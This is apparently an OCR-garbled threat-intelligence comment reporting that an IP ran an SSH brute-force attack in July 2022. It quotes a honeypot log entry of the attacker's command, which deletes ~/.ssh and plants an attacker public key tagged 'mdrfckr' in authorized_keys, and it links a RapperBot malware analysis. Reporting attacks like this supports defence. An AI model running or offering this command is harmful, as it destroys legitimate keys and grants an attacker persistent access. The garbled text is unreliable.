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Comments (1) &

7" . parthmaniar
w ) 4 months ago

This IP was camying out an 33H bruteforce attack on 15-07-2022. For more information or to report interesting/incorrect findings, give me a shoutout @parthmaniar on Twitter,
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_source": { J\=——mhw kooOsd

"eventid

"input": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa
AAAAB3NzaClyc2EAAAABIQAAAQEArDp4cun21hr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5073fcBOx8NVbUTObUanUV9tJd2/9p7
+VvDOEPZ3Tz/+0kX34UAX1RV/75GY0OmNXx+9EUWOnvNoale0QXxziIg9eLBHpgLMuakb5+BgTFB
+rKJAWQUIFSTDengvS8hX1kNFS4MjuxBhJOK8rvcEmPecjdySYMb66ny TAKGWCEESWEQHMdImUPgHWGQOhWCwsQk13yCGPK5wé6hYp5hzY
KFnv1C8hGmdaWw+u97ké6pfTGTUbIK14ujveD9iUKQTTWYYJIIuS5PmUux5hsZORAWFwdIeb+16rBLASPKgAySVKPRK+0Rw==
mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",

"message": "CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa
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=% . https://www.fortinet.com/blog/threat-research/rapperbot-malware-discovery
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